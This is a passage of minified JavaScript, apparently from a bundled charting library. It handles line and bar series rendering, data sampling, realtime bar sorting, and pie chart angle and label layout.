s=this._polyline,c=this._polygon,l=e.hostModel,u=wA(this._data,e,this._stackedOnPoints,t,this._coordSys,n,this._valueOrigin,a),d=u.current,f=u.stackedOnCurrent,p=u.next,m=u.stackedOnNext;if(i&&(f=HA(u.stackedOnCurrent,u.current,n,i,o),d=HA(u.current,null,n,i,o),m=HA(u.stackedOnNext,u.next,n,i,o),p=HA(u.next,null,n,i,o)),zA(d,p)>3e3||c&&zA(f,m)>3e3){s.stopAnimation(),s.setShape({points:p}),c&&(c.stopAnimation(),c.setShape({points:p,stackedOnPoints:m}));return}s.shape.__points=u.current,s.shape.points=d;var h={shape:{points:p}};u.current!==d&&(h.shape.__points=u.next),s.stopAnimation(),Lp(s,h,l),c&&(c.setShape({points:d,stackedOnPoints:f}),c.stopAnimation(),Lp(c,{shape:{stackedOnPoints:m}},l),s.shape.points!==c.shape.points&&(c.shape.points=s.shape.points));for(var g=[],_=u.status,v=0;v<_.length;v++)if(_[v].cmd===`=`){var y=e.getItemGraphicEl(_[v].idx1);y&&g.push({el:y,ptIdx:v})}s.animators&&s.animators.length&&s.animators[0].during(function(){c&&c.dirtyShape();for(var e=s.shape.__points,t=0;t<g.length;t++){var n=g[t].el,r=g[t].ptIdx*2;n.x=e[r],n.y=e[r+1],n.markRedraw()}})},t.prototype.remove=function(e){var t=this.group,n=this._data;this._lineGroup.removeAll(),this._symbolDraw.remove(!0),n&&n.eachItemGraphicEl(function(e,r){e.__temp&&(t.remove(e),n.setItemGraphicEl(r,null))}),this._polyline=this._polygon=this._coordSys=this._points=this._stackedOnPoints=this._endLabel=this._data=null},t.type=`line`,t}(Ab);function tj(e,t){return{seriesType:e,plan:Db(),reset:function(e){var n=e.getData(),r=e.coordinateSystem,i=e.pipelineContext,a=t||i.large;if(r){var o=R(r.dimensions,function(e){return n.mapDimension(e)}).slice(0,2),s=o.length,c=n.getCalculationInfo(`stackResultDimension`);cT(n,o[0])&&(o[0]=c),cT(n,o[1])&&(o[1]=c);var l=n.getStore(),u=n.getDimensionIndex(o[0]),d=n.getDimensionIndex(o[1]);return s&&{progress:function(e,t){for(var n=e.end-e.start,i=a&&FT(n*s),o=[],c=[],f=e.start,p=0;f<e.end;f++){var m=void 0;if(s===1){var h=l.get(u,f);m=r.dataToPoint(h,null,c)}else o[0]=l.get(u,f),o[1]=l.get(d,f),m=r.dataToPoint(o,null,c);a?(i[p++]=m[0],i[p++]=m[1]):t.setItemLayout(f,m.slice())}a&&t.setLayout(`points`,i)}}}}}}var nj={average:function(e){for(var t=0,n=0,r=0;r<e.length;r++)isNaN(e[r])||(t+=e[r],n++);return n===0?NaN:t/n},sum:function(e){for(var t=0,n=0;n<e.length;n++)t+=e[n]||0;return t},max:function(e){for(var t=-1/0,n=0;n<e.length;n++)e[n]>t&&(t=e[n]);return isFinite(t)?t:NaN},min:function(e){for(var t=1/0,n=0;n<e.length;n++)e[n]<t&&(t=e[n]);return isFinite(t)?t:NaN},nearest:function(e){return e[0]}},rj=function(e){return Math.round(e.length/2)};function ij(e){return{seriesType:e,reset:function(e,t,n){var r=e.getData(),i=e.get(`sampling`),a=e.coordinateSystem,o=r.count();if(o>10&&a.type===`cartesian2d`&&i){var s=a.getBaseAxis(),c=a.getOtherAxis(s),l=s.getExtent(),u=n.getDevicePixelRatio(),d=Math.abs(l[1]-l[0])*(u||1),f=Math.round(o/d);if(isFinite(f)&&f>1){i===`lttb`?e.setData(r.lttbDownSample(r.mapDimension(c.dim),1/f)):i===`minmax`&&e.setData(r.minmaxDownSample(r.mapDimension(c.dim),1/f));var p=void 0;H(i)?p=nj[i]:V(i)&&(p=i),p&&e.setData(r.downSample(r.mapDimension(c.dim),1/f,p,rj))}}}}}function aj(e){e.registerChartView(ej),e.registerSeriesModel(dA),e.registerLayout(tj(`line`,!0)),e.registerVisual({seriesType:`line`,reset:function(e){var t=e.getData(),n=e.getModel(`lineStyle`).getLineStyle();n&&!n.stroke&&(n.stroke=t.getVisual(`style`).fill),t.setVisual(`legendLineStyle`,n)}}),e.registerProcessor(e.PRIORITY.PROCESSOR.STATISTIC,ij(`line`))}var oj=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.getInitialData=function(e,t){return fT(null,this,{useEncodeDefaulter:!0})},t.prototype.getMarkerPosition=function(e,t,n){var r=this.coordinateSystem;if(r&&r.clampData){var i=r.clampData(e),a=r.dataToPoint(i);if(n)L(r.getAxes(),function(e,n){if(e.type===`category`&&t!=null){var r=e.getTicksCoords(),o=e.getTickModel().get(`alignWithLabel`),s=i[n],c=t[n]===`x1`||t[n]===`y1`;if(c&&!o&&(s+=1),r.length<2)return;if(r.length===2){a[n]=e.toGlobalCoord(e.getExtent()[+!!c]);return}for(var l=void 0,u=void 0,d=1,f=0;f<r.length;f++){var p=r[f].coord,m=f===r.length-1?r[f-1].tickValue+d:r[f].tickValue;if(m===s){u=p;break}else if(m<s)l=p;else if(l!=null&&m>s){u=(p+l)/2;break}f===1&&(d=m-r[0].tickValue)}u??(l?l&&(u=r[r.length-1].coord):u=r[0].coord),a[n]=e.toGlobalCoord(u)}});else{var o=this.getData(),s=o.getLayout(`offset`),c=o.getLayout(`size`),l=+!r.getBaseAxis().isHorizontal();a[l]+=s+c/2}return a}return[NaN,NaN]},t.type=`series.__base_bar__`,t.defaultOption={z:2,coordinateSystem:`cartesian2d`,legendHoverLink:!0,barMinHeight:0,barMinAngle:0,large:!1,largeThreshold:400,progressive:3e3,progressiveChunkMode:`mod`,defaultBarGap:`10%`},t}(_b);_b.registerClass(oj);var sj=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.getInitialData=function(){return fT(null,this,{useEncodeDefaulter:!0,createInvertedIndices:!!this.get(`realtimeSort`,!0)||null})},t.prototype.getProgressive=function(){return this.get(`large`)?this.get(`progressive`):!1},t.prototype.getProgressiveThreshold=function(){var e=this.get(`progressiveThreshold`),t=this.get(`largeThreshold`);return t>e&&(e=t),e},t.prototype.brushSelector=function(e,t,n){return n.rect(t.getItemLayout(e))},t.type=`series.bar`,t.dependencies=[`grid`,`polar`],t.defaultOption=mh(oj.defaultOption,{clip:!0,roundCap:!1,showBackground:!1,backgroundStyle:{color:`rgba(180, 180, 180, 0.2)`,borderColor:null,borderWidth:0,borderType:`solid`,borderRadius:0,shadowBlur:0,shadowColor:null,shadowOffsetX:0,shadowOffsetY:0,opacity:1},select:{itemStyle:{borderColor:Q.color.primary,borderWidth:2}},realtimeSort:!1}),t}(oj),cj=function(){function e(){this.cx=0,this.cy=0,this.r0=0,this.r=0,this.startAngle=0,this.endAngle=Math.PI*2,this.clockwise=!0}return e}(),lj=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`sausage`,n}return t.prototype.getDefaultShape=function(){return new cj},t.prototype.buildPath=function(e,t){var n=t.cx,r=t.cy,i=Math.max(t.r0||0,0),a=Math.max(t.r,0),o=(a-i)*.5,s=i+o,c=t.startAngle,l=t.endAngle,u=t.clockwise,d=Math.PI*2,f=u?l-c<d:c-l<d;f||(c=l-(u?d:-d));var p=Math.cos(c),m=Math.sin(c),h=Math.cos(l),g=Math.sin(l);f?(e.moveTo(p*i+n,m*i+r),e.arc(p*s+n,m*s+r,o,-Math.PI+c,c,!u)):e.moveTo(p*a+n,m*a+r),e.arc(n,r,a,c,l,!u),e.arc(h*s+n,g*s+r,o,l-Math.PI*2,l-Math.PI,!u),i!==0&&e.arc(n,r,i,l,c,u)},t}(Cu);function uj(e,t){t||={};var n=t.isRoundCap;return function(t,r,i){var a=r.position;if(!a||a instanceof Array)return Oo(t,r,i);var o=e(a),s=r.distance==null?5:r.distance,c=this.shape,l=c.cx,u=c.cy,d=c.r,f=c.r0,p=(d+f)/2,m=c.startAngle,h=c.endAngle,g=(m+h)/2,_=n?Math.abs(d-f)/2:0,v=Math.cos,y=Math.sin,b=l+d*v(m),x=u+d*y(m),S=`left`,C=`top`;switch(o){case`startArc`:b=l+(f-s)*v(g),x=u+(f-s)*y(g),S=`center`,C=`top`;break;case`insideStartArc`:b=l+(f+s)*v(g),x=u+(f+s)*y(g),S=`center`,C=`bottom`;break;case`startAngle`:b=l+p*v(m)+fj(m,s+_,!1),x=u+p*y(m)+pj(m,s+_,!1),S=`right`,C=`middle`;break;case`insideStartAngle`:b=l+p*v(m)+fj(m,-s+_,!1),x=u+p*y(m)+pj(m,-s+_,!1),S=`left`,C=`middle`;break;case`middle`:b=l+p*v(g),x=u+p*y(g),S=`center`,C=`middle`;break;case`endArc`:b=l+(d+s)*v(g),x=u+(d+s)*y(g),S=`center`,C=`bottom`;break;case`insideEndArc`:b=l+(d-s)*v(g),x=u+(d-s)*y(g),S=`center`,C=`top`;break;case`endAngle`:b=l+p*v(h)+fj(h,s+_,!0),x=u+p*y(h)+pj(h,s+_,!0),S=`left`,C=`middle`;break;case`insideEndAngle`:b=l+p*v(h)+fj(h,-s+_,!0),x=u+p*y(h)+pj(h,-s+_,!0),S=`right`,C=`middle`;break;default:return Oo(t,r,i)}return t||={},t.x=b,t.y=x,t.align=S,t.verticalAlign=C,t}}function dj(e,t,n,r){if(ht(r)){e.setTextConfig({rotation:r});return}else if(B(t)){e.setTextConfig({rotation:0});return}var i=e.shape,a=i.clockwise?i.startAngle:i.endAngle,o=i.clockwise?i.endAngle:i.startAngle,s=(a+o)/2,c,l=n(t);switch(l){case`startArc`:case`insideStartArc`:case`middle`:case`insideEndArc`:case`endArc`:c=s;break;case`startAngle`:case`insideStartAngle`:c=a;break;case`endAngle`:case`insideEndAngle`:c=o;break;default:e.setTextConfig({rotation:0});return}var u=Math.PI*1.5-c;l===`middle`&&u>Math.PI/2&&u<Math.PI*1.5&&(u-=Math.PI),e.setTextConfig({rotation:u})}function fj(e,t,n){return t*Math.sin(e)*(n?-1:1)}function pj(e,t,n){return t*Math.cos(e)*(n?1:-1)}function mj(e,t,n){var r=e.get(`borderRadius`);if(r==null)return n?{cornerRadius:0}:null;B(r)||(r=[r,r,r,r]);var i=Math.abs(t.r||0-t.r0||0);return{cornerRadius:R(r,function(e){return Do(e,i)})}}var hj=Math.max,gj=Math.min;function _j(e,t){var n=e.getArea&&e.getArea();if(IA(e,`cartesian2d`)){var r=e.getBaseAxis();if(r.type!==`category`||!r.onBand){var i=t.getLayout(`bandWidth`);r.isHorizontal()?(n.x-=i,n.width+=i*2):(n.y-=i,n.height+=i*2)}}return n}var vj=function(e){N(t,e);function t(){var n=e.call(this)||this;return n.type=t.type,n._isFirstFrame=!0,n}return t.prototype.render=function(e,t,n,r){this._model=e,this._removeOnRenderedListener(n),this._updateDrawMode(e);var i=e.get(`coordinateSystem`);(i===`cartesian2d`||i===`polar`)&&(this._progressiveEls=null,this._isLargeDraw?this._renderLarge(e,t,n):this._renderNormal(e,t,n,r))},t.prototype.incrementalPrepareRender=function(e){this._clear(),this._updateDrawMode(e),this._updateLargeClip(e)},t.prototype.incrementalRender=function(e,t){this._progressiveEls=[],this._incrementalRenderLarge(e,t)},t.prototype.eachRendered=function(e){Em(this._progressiveEls||this.group,e)},t.prototype._updateDrawMode=function(e){var t=e.pipelineContext.large;(this._isLargeDraw==null||t!==this._isLargeDraw)&&(this._isLargeDraw=t,this._clear())},t.prototype._renderNormal=function(e,t,n,r){var i=this.group,a=e.getData(),o=this._data,s=e.coordinateSystem,c=s.getBaseAxis(),l;s.type===`cartesian2d`?l=c.isHorizontal():s.type===`polar`&&(l=c.dim===`angle`);var u=e.isAnimationEnabled()?e:null,d=xj(e,s);d&&this._enableRealtimeSort(d,a,n);var f=e.get(`clip`,!0)||d,p=_j(s,a);i.removeClipPath();var m=e.get(`roundCap`,!0),h=e.get(`showBackground`,!0),g=e.getModel(`backgroundStyle`),_=g.get(`borderRadius`)||0,v=[],y=this._backgroundEls,b=r&&r.isInitSort,x=r&&r.type===`changeAxisOrder`;function S(e){var t=Dj[s.type](a,e);if(!t)return null;var n=Rj(s,l,t);return n.useStyle(g.getItemStyle()),s.type===`cartesian2d`?n.setShape(`r`,_):n.setShape(`cornerRadius`,_),v[e]=n,n}a.diff(o).add(function(t){var n=a.getItemModel(t),r=Dj[s.type](a,t,n);if(r&&(h&&S(t),!(!a.hasValue(t)||!Ej[s.type](r)))){var o=!1;f&&(o=yj[s.type](p,r));var g=bj[s.type](e,a,t,r,l,u,c.model,!1,m);d&&(g.forceLabelAnimation=!0),Aj(g,a,t,n,r,e,l,s.type===`polar`),b?g.attr({shape:r}):d?Sj(d,u,g,r,t,l,!1,!1):Rp(g,{shape:r},e,t),a.setItemGraphicEl(t,g),i.add(g),g.ignore=o}}).update(function(t,n){var r=a.getItemModel(t),C=Dj[s.type](a,t,r);if(C){if(h){var w=void 0;y.length===0?w=S(n):(w=y[n],w.useStyle(g.getItemStyle()),s.type===`cartesian2d`?w.setShape(`r`,_):w.setShape(`cornerRadius`,_),v[t]=w);var T=Dj[s.type](a,t),E=Lj(l,T,s);Lp(w,{shape:E},u,t)}var D=o.getItemGraphicEl(n);if(!a.hasValue(t)||!Ej[s.type](C)){i.remove(D);return}var O=!1;if(f&&(O=yj[s.type](p,C),O&&i.remove(D)),D&&(D.type===`sector`&&m||D.type===`sausage`&&!m)&&(D&&Hp(D,e,n),D=null),D?Up(D):D=bj[s.type](e,a,t,C,l,u,c.model,!0,m),d&&(D.forceLabelAnimation=!0),x){var k=D.getTextContent();if(k){var A=Ym(k);A.prevValue!=null&&(A.prevValue=A.value)}}else Aj(D,a,t,r,C,e,l,s.type===`polar`);b?D.attr({shape:C}):d?Sj(d,u,D,C,t,l,!0,x):Lp(D,{shape:C},e,t,null),a.setItemGraphicEl(t,D),D.ignore=O,i.add(D)}}).remove(function(t){var n=o.getItemGraphicEl(t);n&&Hp(n,e,t)}).execute();var C=this._backgroundGroup||=new Y;C.removeAll();for(var w=0;w<v.length;++w)C.add(v[w]);i.add(C),this._backgroundEls=v,this._data=a},t.prototype._renderLarge=function(e,t,n){this._clear(),Pj(e,this.group),this._updateLargeClip(e)},t.prototype._incrementalRenderLarge=function(e,t){this._removeBackground(),Pj(t,this.group,this._progressiveEls,!0)},t.prototype._updateLargeClip=function(e){var t=e.get(`clip`,!0)&&FA(e.coordinateSystem,!1,e),n=this.group;t?n.setClipPath(t):n.removeClipPath()},t.prototype._enableRealtimeSort=function(e,t,n){var r=this;if(t.count()){var i=e.baseAxis;if(this._isFirstFrame)this._dispatchInitSort(t,e,n),this._isFirstFrame=!1;else{var a=function(e){var n=t.getItemGraphicEl(e),r=n&&n.shape;return r&&Math.abs(i.isHorizontal()?r.height:r.width)||0};this._onRendered=function(){r._updateSortWithinSameData(t,a,i,n)},n.getZr().on(`rendered`,this._onRendered)}}},t.prototype._dataSort=function(e,t,n){var r=[];return e.each(e.mapDimension(t.dim),function(e,t){var i=n(t);i??=NaN,r.push({dataIndex:t,mappedValue:i,ordinalNumber:e})}),r.sort(function(e,t){return t.mappedValue-e.mappedValue}),{ordinalNumbers:R(r,function(e){return e.ordinalNumber})}},t.prototype._isOrderChangedWithinSameData=function(e,t,n){for(var r=n.scale,i=e.mapDimension(n.dim),a=Number.MAX_VALUE,o=0,s=r.getOrdinalMeta().categories.length;o<s;++o){var c=e.rawIndexOf(i,r.getRawOrdinalNumber(o)),l=c<0?Number.MIN_VALUE:t(e.indexOfRawIndex(c));if(l>a)return!0;a=l}return!1},t.prototype._isOrderDifferentInView=function(e,t){for(var n=t.scale,r=n.getExtent(),i=Math.max(0,r[0]),a=Math.min(r[1],n.getOrdinalMeta().categories.length-1);i<=a;++i)if(e.ordinalNumbers[i]!==n.getRawOrdinalNumber(i))return!0},t.prototype._updateSortWithinSameData=function(e,t,n,r){if(this._isOrderChangedWithinSameData(e,t,n)){var i=this._dataSort(e,n,t);this._isOrderDifferentInView(i,n)&&(this._removeOnRenderedListener(r),r.dispatchAction({type:`changeAxisOrder`,componentType:n.dim+`Axis`,axisId:n.index,sortInfo:i}))}},t.prototype._dispatchInitSort=function(e,t,n){var r=t.baseAxis,i=this._dataSort(e,r,function(n){return e.get(e.mapDimension(t.otherAxis.dim),n)});n.dispatchAction({type:`changeAxisOrder`,componentType:r.dim+`Axis`,isInitSort:!0,axisId:r.index,sortInfo:i})},t.prototype.remove=function(e,t){this._clear(this._model),this._removeOnRenderedListener(t)},t.prototype.dispose=function(e,t){this._removeOnRenderedListener(t)},t.prototype._removeOnRenderedListener=function(e){this._onRendered&&=(e.getZr().off(`rendered`,this._onRendered),null)},t.prototype._clear=function(e){var t=this.group,n=this._data;e&&e.isAnimationEnabled()&&n&&!this._isLargeDraw?(this._removeBackground(),this._backgroundEls=[],n.eachItemGraphicEl(function(t){Hp(t,e,Z(t).dataIndex)})):t.removeAll(),this._data=null,this._isFirstFrame=!0},t.prototype._removeBackground=function(){this.group.remove(this._backgroundGroup),this._backgroundGroup=null},t.type=`bar`,t}(Ab),yj={cartesian2d:function(e,t){var n=t.width<0?-1:1,r=t.height<0?-1:1;n<0&&(t.x+=t.width,t.width=-t.width),r<0&&(t.y+=t.height,t.height=-t.height);var i=e.x+e.width,a=e.y+e.height,o=hj(t.x,e.x),s=gj(t.x+t.width,i),c=hj(t.y,e.y),l=gj(t.y+t.height,a),u=s<o,d=l<c;return t.x=u&&o>i?s:o,t.y=d&&c>a?l:c,t.width=u?0:s-o,t.height=d?0:l-c,n<0&&(t.x+=t.width,t.width=-t.width),r<0&&(t.y+=t.height,t.height=-t.height),u||d},polar:function(e,t){var n=t.r0<=t.r?1:-1;if(n<0){var r=t.r;t.r=t.r0,t.r0=r}var i=gj(t.r,e.r),a=hj(t.r0,e.r0);t.r=i,t.r0=a;var o=i-a<0;if(n<0){var r=t.r;t.r=t.r0,t.r0=r}return o}},bj={cartesian2d:function(e,t,n,r,i,a,o,s,c){var l=new Lu({shape:F({},r),z2:1});if(l.__dataIndex=n,l.name=`item`,a){var u=l.shape,d=i?`height`:`width`;u[d]=0}return l},polar:function(e,t,n,r,i,a,o,s,c){var l=!i&&c?lj:tp,u=new l({shape:r,z2:1});if(u.name=`item`,u.calculateTextPosition=uj(kj(i),{isRoundCap:l===lj}),a){var d=u.shape,f=i?`r`:`endAngle`,p={};d[f]=i?r.r0:r.startAngle,p[f]=r[f],(s?Lp:Rp)(u,{shape:p},a)}return u}};function xj(e,t){var n=e.get(`realtimeSort`,!0),r=t.getBaseAxis();if(n&&r.type===`category`&&t.type===`cartesian2d`)return{baseAxis:r,otherAxis:t.getOtherAxis(r)}}function Sj(e,t,n,r,i,a,o,s){var c,l;a?(l={x:r.x,width:r.width},c={y:r.y,height:r.height}):(l={y:r.y,height:r.height},c={x:r.x,width:r.width}),s||(o?Lp:Rp)(n,{shape:c},t,i,null);var u=t?e.baseAxis.model:null;(o?Lp:Rp)(n,{shape:l},u,i)}function Cj(e,t){for(var n=0;n<t.length;n++)if(!isFinite(e[t[n]]))return!0;return!1}var wj=[`x`,`y`,`width`,`height`],Tj=[`cx`,`cy`,`r`,`startAngle`,`endAngle`],Ej={cartesian2d:function(e){return!Cj(e,wj)},polar:function(e){return!Cj(e,Tj)}},Dj={cartesian2d:function(e,t,n){var r=e.getItemLayout(t);if(!r)return null;var i=n?jj(n,r):0,a=r.width>0?1:-1,o=r.height>0?1:-1;return{x:r.x+a*i/2,y:r.y+o*i/2,width:r.width-a*i,height:r.height-o*i}},polar:function(e,t,n){var r=e.getItemLayout(t);return{cx:r.cx,cy:r.cy,r0:r.r0,r:r.r,startAngle:r.startAngle,endAngle:r.endAngle,clockwise:r.clockwise}}};function Oj(e){return e.startAngle!=null&&e.endAngle!=null&&e.startAngle===e.endAngle}function kj(e){return function(e){var t=e?`Arc`:`Angle`;return function(e){switch(e){case`start`:case`insideStart`:case`end`:case`insideEnd`:return e+t;default:return e}}}(e)}function Aj(e,t,n,r,i,a,o,s){var c=t.getItemVisual(n,`style`);if(!s){var l=r.get([`itemStyle`,`borderRadius`])||0;e.setShape(`r`,l)}else if(!a.get(`roundCap`)){var u=e.shape;F(u,mj(r.getModel(`itemStyle`),u,!0)),e.setShape(u)}e.useStyle(c);var d=r.getShallow(`cursor`);d&&e.attr(`cursor`,d);var f=s?o?i.r>=i.r0?`endArc`:`startArc`:i.endAngle>=i.startAngle?`endAngle`:`startAngle`:o?i.height>=0?`bottom`:`top`:i.width>=0?`right`:`left`,p=zm(r);Rm(e,p,{labelFetcher:a,labelDataIndex:n,defaultText:fA(a.getData(),n),inheritColor:c.fill,defaultOpacity:c.opacity,defaultOutsidePosition:f});var m=e.getTextContent();if(s&&m){var h=r.get([`label`,`position`]);e.textConfig.inside=h===`middle`?!0:null,dj(e,h===`outside`?f:h,kj(o),r.get([`label`,`rotate`]))}Xm(m,p,a.getRawValue(n),function(e){return pA(t,e)});var g=r.getModel([`emphasis`]);$d(e,g.get(`focus`),g.get(`blurScope`),g.get(`disabled`)),rf(e,r),Oj(i)&&(e.style.fill=`none`,e.style.stroke=`none`,L(e.states,function(e){e.style&&(e.style.fill=e.style.stroke=`none`)}))}function jj(e,t){var n=e.get([`itemStyle`,`borderColor`]);if(!n||n===`none`)return 0;var r=e.get([`itemStyle`,`borderWidth`])||0,i=isNaN(t.width)?Number.MAX_VALUE:Math.abs(t.width),a=isNaN(t.height)?Number.MAX_VALUE:Math.abs(t.height);return Math.min(r,i,a)}var Mj=function(){function e(){}return e}(),Nj=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`largeBar`,n}return t.prototype.getDefaultShape=function(){return new Mj},t.prototype.buildPath=function(e,t){for(var n=t.points,r=this.baseDimIdx,i=1-this.baseDimIdx,a=[],o=[],s=this.barWidth,c=0;c<n.length;c+=3)o[r]=s,o[i]=n[c+2],a[r]=n[c+r],a[i]=n[c+i],e.rect(a[0],a[1],o[0],o[1])},t}(Cu);function Pj(e,t,n,r){var i=e.getData(),a=+!!i.getLayout(`valueAxisHorizontal`),o=i.getLayout(`largeDataIndices`),s=i.getLayout(`size`),c=e.getModel(`backgroundStyle`),l=i.getLayout(`largeBackgroundPoints`);if(l){var u=new Nj({shape:{points:l},incremental:!!r,silent:!0,z2:0});u.baseDimIdx=a,u.largeDataIndices=o,u.barWidth=s,u.useStyle(c.getItemStyle()),t.add(u),n&&n.push(u)}var d=new Nj({shape:{points:i.getLayout(`largePoints`)},incremental:!!r,ignoreCoarsePointer:!0,z2:1});d.baseDimIdx=a,d.largeDataIndices=o,d.barWidth=s,t.add(d),d.useStyle(i.getVisual(`style`)),d.style.stroke=null,Z(d).seriesIndex=e.seriesIndex,e.get(`silent`)||(d.on(`mousedown`,Fj),d.on(`mousemove`,Fj)),n&&n.push(d)}var Fj=zb(function(e){var t=this,n=Ij(t,e.offsetX,e.offsetY);Z(t).dataIndex=n>=0?n:null},30,!1);function Ij(e,t,n){for(var r=e.baseDimIdx,i=1-r,a=e.shape.points,o=e.largeDataIndices,s=[],c=[],l=e.barWidth,u=0,d=a.length/3;u<d;u++){var f=u*3;if(c[r]=l,c[i]=a[f+2],s[r]=a[f+r],s[i]=a[f+i],c[i]<0&&(s[i]+=c[i],c[i]=-c[i]),t>=s[0]&&t<=s[0]+c[0]&&n>=s[1]&&n<=s[1]+c[1])return o[u]}return-1}function Lj(e,t,n){if(IA(n,`cartesian2d`)){var r=t,i=n.getArea();return{x:e?r.x:i.x,y:e?i.y:r.y,width:e?r.width:i.width,height:e?i.height:r.height}}else{var i=n.getArea(),a=t;return{cx:i.cx,cy:i.cy,r0:e?i.r0:a.r0,r:e?i.r:a.r,startAngle:e?a.startAngle:0,endAngle:e?a.endAngle:Math.PI*2}}}function Rj(e,t,n){return new(e.type===`polar`?tp:Lu)({shape:Lj(t,n,e),silent:!0,z2:0})}function zj(e){e.registerChartView(vj),e.registerSeriesModel(sj),e.registerLayout(e.PRIORITY.VISUAL.LAYOUT,pt(GT,`bar`)),e.registerLayout(e.PRIORITY.VISUAL.PROGRESSIVE_LAYOUT,KT(`bar`)),e.registerProcessor(e.PRIORITY.PROCESSOR.STATISTIC,ij(`bar`)),e.registerAction({type:`changeAxisOrder`,event:`changeAxisOrder`,update:`update`},function(e,t){var n=e.componentType||`series`;t.eachComponent({mainType:n,query:e},function(t){e.sortInfo&&t.axis.setCategorySortInfo(e.sortInfo)})})}var Bj=Math.PI*2,Vj=Math.PI/180;function Hj(e,t,n){t.eachSeriesByType(e,function(e){var t=e.getData(),r=t.mapDimension(`value`),i=Hg(e,n),a=i.cx,o=i.cy,s=i.r,c=i.r0,l=i.viewRect,u=-e.get(`startAngle`)*Vj,d=e.get(`endAngle`),f=e.get(`padAngle`)*Vj;d=d===`auto`?u-Bj:-d*Vj;var p=e.get(`minAngle`)*Vj+f,m=0;t.each(r,function(e){!isNaN(e)&&m++});var h=t.getSum(r),g=Math.PI/(h||m)*2,_=e.get(`clockwise`),v=e.get(`roseType`),y=e.get(`stillShowZeroSum`),b=t.getDataExtent(r);b[0]=0;var x=_?1:-1,S=[u,d],C=x*f/2;Zl(S,!_),u=S[0],d=S[1];var w=Uj(e);w.startAngle=u,w.endAngle=d,w.clockwise=_,w.cx=a,w.cy=o,w.r=s,w.r0=c;var T=Math.abs(d-u),E=T,D=0,O=u;if(t.setLayout({viewRect:l,r:s}),t.each(r,function(e,n){var r;if(isNaN(e)){t.setItemLayout(n,{angle:NaN,startAngle:NaN,endAngle:NaN,clockwise:_,cx:a,cy:o,r0:c,r:v?NaN:s});return}r=v===`area`?T/m:h===0&&y?g:e*g,r<p?(r=p,E-=p):D+=e;var i=O+x*r,l=0,u=0;f>r?(l=O+x*r/2,u=l):(l=O+C,u=i-C),t.setItemLayout(n,{angle:r,startAngle:l,endAngle:u,clockwise:_,cx:a,cy:o,r0:c,r:v?as(e,b,[c,s]):s}),O=i}),E<Bj&&m)if(E<=.001){var k=T/m;t.each(r,function(e,n){if(!isNaN(e)){var r=t.getItemLayout(n);r.angle=k;var i=0,a=0;k<f?(i=u+x*(n+1/2)*k,a=i):(i=u+x*n*k+C,a=u+x*(n+1)*k-C),r.startAngle=i,r.endAngle=a}})}else g=E/D,O=u,t.each(r,function(e,n){if(!isNaN(e)){var r=t.getItemLayout(n),i=r.angle===p?p:e*g,a=0,o=0;i<f?(a=O+x*i/2,o=a):(a=O+C,o=O+x*i-C),r.startAngle=a,r.endAngle=o,O+=x*i}})})}var Uj=oc();function Wj(e){return{seriesType:e,reset:function(e,t){var n=t.findComponents({mainType:`legend`});if(!(!n||!n.length)){var r=e.getData();r.filterSelf(function(e){for(var t=r.getName(e),i=0;i<n.length;i++)if(!n[i].isSelected(t))return!1;return!0})}}}}var Gj=Math.PI/180;function Kj(e,t,n,r,i,a,o,s,c,l){if(e.length<2)return;function u(e){for(var a=e.rB,o=a*a,s=0;s<e.list.length;s++){var c=e.list[s],l=Math.abs(c.label.y-n),u=r+c.len,d=u*u,f=t+(Math.sqrt(Math.abs((1-l*l/o)*d))+c.len2)*i,p=f-c.label.x;Jj(c,c.targetTextWidth-p*i,!0),c.label.x=f}}function d(e){for(var a={list:[],maxY:0},o={list:[],maxY:0},s=0;s<e.length;s++)if(e[s].labelAlignTo===`none`){var c=e[s],l=c.label.y>n?o:a,d=Math.abs(c.label.y-n);if(d>=l.maxY){var f=c.label.x-t-c.len2*i,p=r+c.len;l.rB=Math.abs(f)<p?Math.sqrt(d*d/(1-f*f/p/p)):p,l.maxY=d}l.list.push(c)}u(a),u(o)}for(var f=e.length,p=0;p<f;p++)if(e[p].position===`outer`&&e[p].labelAlignTo===`labelLine`){var m=e[p].label.x-l;e[p].linePoints[1][0]+=m,e[p].label.x=l}cO(e,1,c,c+o)&&d(e)}function qj(e,t,n,r,i,a,o,s){for(var c=[],l=[],u=Number.MAX_VALUE,d=-Number.MAX_VALUE,f=0;f<e.length;f++){var p=e[f].label;Qj(e[f])||(p.x<t?(u=Math.min(u,p.x),c.push(e[f])):(d=Math.max(d,p.x),l.push(e[f])))}for(var f=0;f<e.length;f++){var m=e[f];if(!Qj(m)&&m.linePoints){if(m.labelStyleWidth!=null)continue;var p=m.label,h=m.linePoints,g=void 0;g=m.labelAlignTo===`edge`?p.x<t?h[2][0]-m.labelDistance-o-m.edgeDistance:o+i-m.edgeDistance-h[2][0]-m.labelDistance:m.labelAlignTo===`labelLine`?p.x<t?u-o-m.bleedMargin:o+i-d-m.bleedMargin:p.x<t?p.x-o-m.bleedMargin:o+i-p.x-m.bleedMargin,m.targetTextWidth=g,Jj(m,g,!1)}}Kj(l,t,n,r,1,i,a,o,s,d),Kj(c,t,n,r,-1,i,a,o,s,u);for(var f=0;f<e.length;f++){var m=e[f];if(!Qj(m)&&m.linePoints){var p=m.label,h=m.linePoints,_=m.labelAlignTo===`edge`,v=p.style.padding,y=v?v[1]+v[3]:0,b=p.style.backgroundColor?0:y,x=m.rect.width+b,S=h[1][0]-h[2][0];_?p.x<t?h[2][0]=o+m.edgeDistance+x+m.labelDistance:h[2][0]=o+i-m.edgeDistance-x-m.labelDistance:(p.x<t?h[2][0]=p.x+m.labelDistance:h[2][0]=p.x-m.labelDistance,h[1][0]=h[2][0]+S),h[1][1]=h[2][1]=p.y}}}function Jj(e,t,n){if(e.labelStyleWidth==null){var r=e.label,i=r.style,a=e.rect,o=i.backgroundColor,s=i.padding,c=s?s[1]+s[3]:0,l=i.overflow,u=a.width+(o?0:c);if(t<u||n){if(l&&l.match(`break`)){r.setStyle(`backgroundColor`,null),r.setStyle(`width`,t-c);var d=r.getBoundingRect();r.setStyle(`width`,Math.ceil(d.width)),r.setStyle(`backgroundColor`,o)}else{var f=t-c,p=t<u?f:n?f>e.unconstrainedWidth?null:f:null;r.setStyle(`width`,p)}Yj(a,r)}}}function 